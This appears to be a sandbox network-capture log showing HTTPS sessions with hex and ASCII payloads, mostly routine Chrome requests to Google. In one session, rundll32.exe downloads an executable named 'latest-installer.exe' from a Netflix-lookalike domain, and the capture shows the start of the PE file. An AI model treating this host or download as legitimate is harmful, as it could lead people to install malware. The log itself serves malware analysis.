2024-05-01 09:08:13 UTC	1255	IN	Data Raw: 49 64 75 54 63 2b 4c 35 50 51 66 41 4f 64 6e 32 50 2b 66 73 76 76 5a 51 44 61 62 48 64 37 59 33 45 78 4e 54 4b 68 49 35 61 30 38 4d 7a 43 37 30 75 4d 79 68 78 37 30 44 37 31 4b 44 33 47 39 6f 72 38 4c 75 4e 6c 47 72 31 2f 48 6c 32 77 71 6f 41 2b 5a 58 54 76 33 76 76 6a 69 33 72 31 37 69 63 51 49 58 6e 62 33 6c 71 41 6a 6f 75 73 61 6e 36 52 70 32 73 49 43 72 4a 33 52 4e 57 62 79 68 63 6e 4a 79 64 78 6b 61 70 4f 53 39 2f 32 4e 2b 31 65 6d 61 2b 75 6e 5a 77 66 4b 71 6b 4b 68 43 6a 41 45 5a 79 35 75 65 54 6a 66 43 43 48 55 45 33 64 41 2f 32 74 68 78 6b 37 45 4b 65 32 44 7a 78 48 66 2b 56 6f 38 62 53 53 63 74 52 74 50 52 6a 52 41 5a 2b 73 79 4a 61 65 6a 31 4f 42 70 73 4a 65 51 76 64 4f 62 56 62 77 36 37 32 32 30 59 78 72 50 78 47 4d 35 68 36 36 58 6d 44 50 6f Data Ascii: IduTc+L5PQfAOdn2P+fsvvZQDabHd7Y3ExNTKhI5a08MzC70uMyhx70D71KD3G9or8LuNlGr1/Hl2wqoA+ZXTv3vvji3r17icQIXnb3lqAjousan6Rp2sICrJ3RNWbyhcnJydxkapOS9/2N+1ema+unZwfKqkKhCjAEZy5ueTjfCCHUE3dA/2thxk7EKe2DzxHf+Vo8bSSctRtPRjRAZ+syJaej1OBpsJeQvdObVbw67220YxrPxGM5h66XmDPo
2024-05-01 09:08:13 UTC	1255	IN	Data Raw: 69 70 58 59 66 46 4e 54 55 39 70 71 39 69 4f 38 44 38 6e 71 30 41 70 73 6a 71 38 6f 56 68 49 31 68 77 78 36 4c 34 4f 65 79 59 7a 78 46 32 75 59 6e 6b 33 65 38 58 71 37 4a 79 61 36 62 79 33 69 38 35 4a 59 4d 6f 59 6a 32 62 63 35 75 72 6d 68 58 4b 71 76 66 68 33 43 53 46 35 68 6f 45 6b 34 6b 4a 6b 4d 78 4c 36 45 76 49 7a 4a 41 41 4f 33 44 37 53 48 55 46 57 64 4f 45 62 6f 44 4c 68 44 30 45 45 64 43 67 30 67 6c 47 73 53 6b 36 64 6e 4d 42 54 36 74 39 44 45 77 4f 38 6c 50 69 6c 48 77 55 6f 53 30 4e 4a 70 52 4d 38 51 39 46 50 59 65 77 66 35 67 4d 41 65 70 70 75 6c 49 59 49 36 4d 4f 44 72 73 7a 70 33 50 31 37 72 4f 65 33 54 49 41 34 46 4d 54 76 44 6d 4a 33 30 71 77 58 76 75 4d 33 6d 6c 52 64 70 50 64 61 66 70 46 56 52 58 4d 52 30 44 53 74 78 69 6b 69 72 4e 59 49 Data Ascii: ipXYfFNTU9pq9iO8D8nq0Apsjq8oVhI1hwx6L4OeyYzxF2uYnk3e8Xq7Jya6by3i85JYMoYj2bc5urmhXKqvfh3CSF5hoEk4kJkMxL6EvIzJAAO3D7SHUFWdOEboDLhD0EEdCg0glGsSk6dnMBT6t9DEwO8lPilHwUoS0NJpRM8Q9FPYewf5gMAeppulIYI6MODrszp3P17rOe3TIA4FMTvDmJ30qwXvuM3mlRdpPdafpFVRXMR0DStxikirNYI
2024-05-01 09:08:13 UTC	1255	IN	Data Raw: 5a 68 67 31 4e 67 46 59 4a 5a 50 2f 50 2b 39 72 41 72 4a 6a 6e 32 4d 66 48 42 6f 7a 45 7a 2f 2f 6e 36 33 31 65 34 68 4e 78 55 49 39 30 44 73 59 37 38 65 66 75 62 48 5a 61 4a 48 32 5a 58 74 64 64 6f 39 4b 56 6c 74 55 49 61 6b 6b 33 4d 43 41 71 39 53 72 4a 71 4a 68 47 33 65 61 50 41 33 6f 6b 6f 6f 5a 37 56 32 74 4f 65 66 4c 79 54 68 59 66 50 34 4b 35 7a 75 4d 6e 34 64 65 68 37 74 50 76 77 2b 36 39 66 36 38 51 52 6c 4f 72 47 37 6a 6a 64 48 78 6f 74 41 6f 42 4b 6a 53 63 67 6e 34 54 78 7a 63 58 43 70 6e 53 4e 31 38 64 75 41 66 6f 59 37 66 75 6f 6b 7a 72 67 73 77 64 45 44 6b 42 78 33 33 53 50 70 6d 32 6d 47 6c 69 2b 52 53 49 4e 44 54 6b 5a 68 42 7a 6b 43 58 4c 2b 50 2f 51 38 53 53 54 4b 6a 46 38 4a 7a 4c 30 74 4f 50 66 57 62 7a 78 62 35 43 6c 6a 49 53 65 73 58 Data Ascii: Zhg1NgFYJZP/P+9rArJjn2MfHBozEz//n631e4hNxUI90DsY78efubHZaJH2ZXtddo9KVltUIakk3MCAq9SrJqJhG3eaPA3okooZ7V2tOefLyThYfP4K5zuMn4deh7tPvw+69f68QRlOrG7jjdHxotAoBKjScgn4TxzcXCpnSN18duAfoY7fuokzrgswdEDkBx33SPpm2mGli+RSINDTkZhBzkCXL+P/Q8SSTKjF8JzL0tOPfWbzxb5CljISesX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49735	142.251.16.147	443	8000	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 09:08:13 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 09:08:13 UTC	1434	IN	HTTP/1.1 200 OK Version: 628208705 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Date: Wed, 01 May 2024 09:08:13 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-01 09:08:13 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-05-01 09:08:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	172.253.122.101	443	8000	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 09:08:18 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SCWmpDDGjPk.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAC/rs=AHpOoo_Pl64J0IIHlj2zBtEJ3ZwdaJC3HA/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 09:08:18 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 121628 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 26 Apr 2024 13:03:57 GMT Expires: Sat, 26 Apr 2025 13:03:57 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 15 Apr 2024 17:34:54 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 417861 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-01 09:08:18 UTC	339	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 32 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 62 61 2c 63 61 2c 64 61 2c 6e 61 2c 70 61 2c 76 61 2c 77 61 2c 7a 61 3b 62 61 3d 66 75 6e 63 Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){("undefined"!==typeof globalThis?globalThis:"undefined"!==typeof self?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x20000, ]);var ba,ca,da,na,pa,va,wa,za;ba=func
2024-05-01 09:08:18 UTC	1255	IN	Data Raw: 7d 7d 3b 63 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 64 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c Data Ascii: }};ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,
2024-05-01 09:08:18 UTC	1255	IN	Data Raw: 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 26 26 63 61 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 61 28 62 61 28 74 68 69 73 29 29 7d 7d 29 7d 72 65 74 75 72 6e 20 61 7d 29 3b 70 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 7b 6e 65 78 74 3a 61 7d 3b 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 5f 2e 75 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 22 75 6e 64 Data Ascii: on"===typeof d&&"function"!=typeof d.prototype[a]&&ca(d.prototype,a,{configurable:!0,writable:!0,value:function(){return pa(ba(this))}})}return a});pa=function(a){a={next:a};a[Symbol.iterator]=function(){return this};return a};_.ua=function(a){var b="und
2024-05-01 09:08:18 UTC	1255	IN	Data Raw: 2e 50 66 29 7b 74 68 69 73 2e 50 66 3d 5b 5d 3b 76 61 72 20 6b 3d 74 68 69 73 3b 74 68 69 73 2e 74 50 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6b 2e 45 37 28 29 7d 29 7d 74 68 69 73 2e 50 66 2e 70 75 73 68 28 68 29 7d 3b 76 61 72 20 64 3d 5f 2e 6d 61 2e 73 65 74 54 69 6d 65 6f 75 74 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 74 50 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 64 28 68 2c 30 29 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 45 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 3b 74 68 69 73 2e 50 66 26 26 74 68 69 73 2e 50 66 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 68 3d 74 68 69 73 2e 50 66 3b 74 68 69 73 2e 50 66 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6b 3d 30 3b 6b 3c 68 2e 6c 65 6e 67 74 68 3b 2b 2b 6b 29 7b 76 61 72 20 6c 3d 68 5b 6b 5d 3b 68 5b 6b 5d 3d Data Ascii: .Pf){this.Pf=[];var k=this;this.tP(function(){k.E7()})}this.Pf.push(h)};var d=_.ma.setTimeout;b.prototype.tP=function(h){d(h,0)};b.prototype.E7=function(){for(;this.Pf&&this.Pf.length;){var h=this.Pf;this.Pf=[];for(var k=0;k<h.length;++k){var l=h[k];h[k]=
2024-05-01 09:08:18 UTC	1255	IN	Data Raw: 74 6f 74 79 70 65 2e 6e 65 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 3d 74 68 69 73 3b 64 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 68 2e 67 63 61 28 29 29 7b 76 61 72 20 6b 3d 5f 2e 6d 61 2e 63 6f 6e 73 6f 6c 65 3b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 6b 26 26 6b 2e 65 72 72 6f 72 28 68 2e 46 66 29 7d 7d 2c 0a 31 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 67 63 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 73 56 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 68 3d 5f 2e 6d 61 2e 43 75 73 74 6f 6d 45 76 65 6e 74 2c 6b 3d 5f 2e 6d 61 2e 45 76 65 6e 74 2c 6c 3d 5f 2e 6d 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 6c 29 72 65 74 Data Ascii: totype.nea=function(){var h=this;d(function(){if(h.gca()){var k=_.ma.console;"undefined"!==typeof k&&k.error(h.Ff)}},1)};e.prototype.gca=function(){if(this.sV)return!1;var h=_.ma.CustomEvent,k=_.ma.Event,l=_.ma.dispatchEvent;if("undefined"===typeof l)ret
2024-05-01 09:08:18 UTC	1255	IN	Data Raw: 3b 74 68 69 73 2e 73 56 3d 21 30 7d 3b 65 2e 72 65 73 6f 6c 76 65 3d 63 3b 65 2e 72 65 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 65 28 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 6c 28 68 29 7d 29 7d 3b 65 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 65 28 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 66 6f 72 28 76 61 72 20 6d 3d 5f 2e 75 61 28 68 29 2c 6e 3d 6d 2e 6e 65 78 74 28 29 3b 21 6e 2e 64 6f 6e 65 3b 6e 3d 6d 2e 6e 65 78 74 28 29 29 63 28 6e 2e 76 61 6c 75 65 29 2e 42 79 28 6b 2c 6c 29 7d 29 7d 3b 65 2e 61 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 5f 2e 75 61 28 68 29 2c 6c 3d 6b 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 6c 2e 64 6f 6e 65 3f 63 Data Ascii: ;this.sV=!0};e.resolve=c;e.reject=function(h){return new e(function(k,l){l(h)})};e.race=function(h){return new e(function(k,l){for(var m=_.ua(h),n=m.next();!n.done;n=m.next())c(n.value).By(k,l)})};e.all=function(h){var k=_.ua(h),l=k.next();return l.done?c
2024-05-01 09:08:18 UTC	1255	IN	Data Raw: 63 74 2e 73 65 61 6c 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 6c 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 7d 29 2c 6d 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 7d 29 2c 6e 3d 6e 65 77 20 61 28 5b 5b 6c 2c 32 5d 2c 5b 6d 2c 33 5d 5d 29 3b 69 66 28 32 21 3d 6e 2e 67 65 74 28 6c 29 7c 7c 33 21 3d 6e 2e 67 65 74 28 6d 29 29 72 65 74 75 72 6e 21 31 3b 6e 2e 64 65 6c 65 74 65 28 6c 29 3b 6e 2e 73 65 74 28 6d 2c 34 29 3b 72 65 74 75 72 6e 21 6e 2e 68 61 73 28 6c 29 26 26 34 3d 3d 6e 2e 67 65 74 28 6d 29 7d 63 61 74 63 68 28 70 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 0a 76 61 72 20 66 3d 22 24 6a 73 63 6f 6d 70 5f 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b Data Ascii: ct.seal)return!1;try{var l=Object.seal({}),m=Object.seal({}),n=new a([[l,2],[m,3]]);if(2!=n.get(l)\|\|3!=n.get(m))return!1;n.delete(l);n.set(m,4);return!n.has(l)&&4==n.get(m)}catch(p){return!1}}())return a;var f="$jscomp_hidden_"+Math.random();e("freeze");
2024-05-01 09:08:18 UTC	1255	IN	Data Raw: 20 62 3d 6e 65 77 20 57 65 61 6b 4d 61 70 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 0a 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 3b 69 66 28 6b 29 7b 6b 3d 5f 2e 75 61 28 6b 29 3b 66 6f 72 28 76 61 72 20 6c 3b 21 28 6c 3d 6b 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6c 3d 6c 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6c 5b 30 5d 2c 6c 5b 31 5d 29 7d 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 6b 3d 30 3d 3d 3d 6b 3f 30 3a 6b 3b 76 61 72 20 6d 3d 64 28 74 68 69 73 2c 6b 29 3b 6d 2e 6c 69 73 74 7c 7c 28 6d 2e 6c 69 73 74 3d 74 68 69 73 5b 30 5d 5b 6d 2e 69 64 5d 3d 5b 5d 29 3b 6d 2e 6e 66 3f 6d 2e 6e 66 2e 76 61 6c 75 65 3d 6c 3a 28 6d Data Ascii: b=new WeakMap,c=function(k){this[0]={};this[1]=f();this.size=0;if(k){k=_.ua(k);for(var l;!(l=k.next()).done;)l=l.value,this.set(l[0],l[1])}};c.prototype.set=function(k,l){k=0===k?0:k;var m=d(this,k);m.list\|\|(m.list=this[0][m.id]=[]);m.nf?m.nf.value=l:(m
2024-05-01 09:08:18 UTC	1255	IN	Data Raw: 6d 3d 62 2e 67 65 74 28 6c 29 3a 28 6d 3d 22 22 2b 20 2b 2b 68 2c 62 2e 73 65 74 28 6c 2c 6d 29 29 3a 6d 3d 22 70 5f 22 2b 6c 3b 76 61 72 20 6e 3d 6b 5b 30 5d 5b 6d 5d 3b 69 66 28 6e 26 26 76 61 28 6b 5b 30 5d 2c 6d 29 29 66 6f 72 28 6b 3d 30 3b 6b 3c 6e 2e 6c 65 6e 67 74 68 3b 6b 2b 2b 29 7b 76 61 72 20 70 3d 6e 5b 6b 5d 3b 69 66 28 6c 21 3d 3d 6c 26 26 70 2e 6b 65 79 21 3d 3d 70 2e 6b 65 79 7c 7c 6c 3d 3d 3d 70 2e 6b 65 79 29 72 65 74 75 72 6e 7b 69 64 3a 6d 2c 6c 69 73 74 3a 6e 2c 69 6e 64 65 78 3a 6b 2c 6e 66 3a 70 7d 7d 72 65 74 75 72 6e 7b 69 64 3a 6d 2c 6c 69 73 74 3a 6e 2c 69 6e 64 65 78 3a 2d 31 2c 6e 66 3a 76 6f 69 64 20 30 7d 7d 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 76 61 72 20 6d 3d 6b 5b 31 5d 3b 72 65 74 75 72 6e 20 70 61 28 66 Data Ascii: m=b.get(l):(m=""+ ++h,b.set(l,m)):m="p_"+l;var n=k[0][m];if(n&&va(k[0],m))for(k=0;k<n.length;k++){var p=n[k];if(l!==l&&p.key!==p.key\|\|l===p.key)return{id:m,list:n,index:k,nf:p}}return{id:m,list:n,index:-1,nf:void 0}},e=function(k,l){var m=k[1];return pa(f
2024-05-01 09:08:18 UTC	1255	IN	Data Raw: 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 3d 3d 63 7c 7c 34 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 2e 78 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 3f 21 31 3a 65 2e 6e 65 78 74 28 29 2e 64 6f 6e 65 7d 63 61 74 63 68 28 68 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 74 68 69 73 2e 44 61 3d 6e 65 77 20 4d 61 70 3b 69 66 28 63 29 7b 63 3d Data Ascii: urn!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)return!1;f=e.next();return f.done\|\|f.value[0]==c\|\|4!=f.value[0].x\|\|f.value[1]!=f.value[0]?!1:e.next().done}catch(h){return!1}}())return a;var b=function(c){this.Da=new Map;if(c){c=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	172.67.152.151	443	8344	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 09:08:19 UTC	179	OUT	GET /downloads/winapp/latest-installer.exe HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (Windows) WinHTTP/Gecko Chrome/9999999 Host: files.nflxso.ca
2024-05-01 09:08:19 UTC	692	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 09:08:19 GMT Content-Type: application/octet-stream Content-Length: 7055674 Connection: close last-modified: Wed, 23 Nov 2022 20:15:22 GMT etag: "637e7f5a-6ba93a" Cache-Control: max-age=14400 CF-Cache-Status: HIT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uBVPstCpCZEZx0R8fJq%2FXPP9N22sXYiJK%2BsyR%2Bndqt8V2UYnD6hTjsIkzxKu9ycBSna1hGwqmn33KzRmBRpop2QcYPKz9iirOzchuG4OqBSo9SznTjeTvn2JHy%2FEU17NuPk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87cea0547f6d584e-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 09:08:19 UTC	677	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 79 7f 15 5c 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 66 00 00 00 8a 06 00 00 40 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1PfPfPf_9PfPgLPf_;PfsVPf.V`PfRichPfPELy\f@
2024-05-01 09:08:19 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
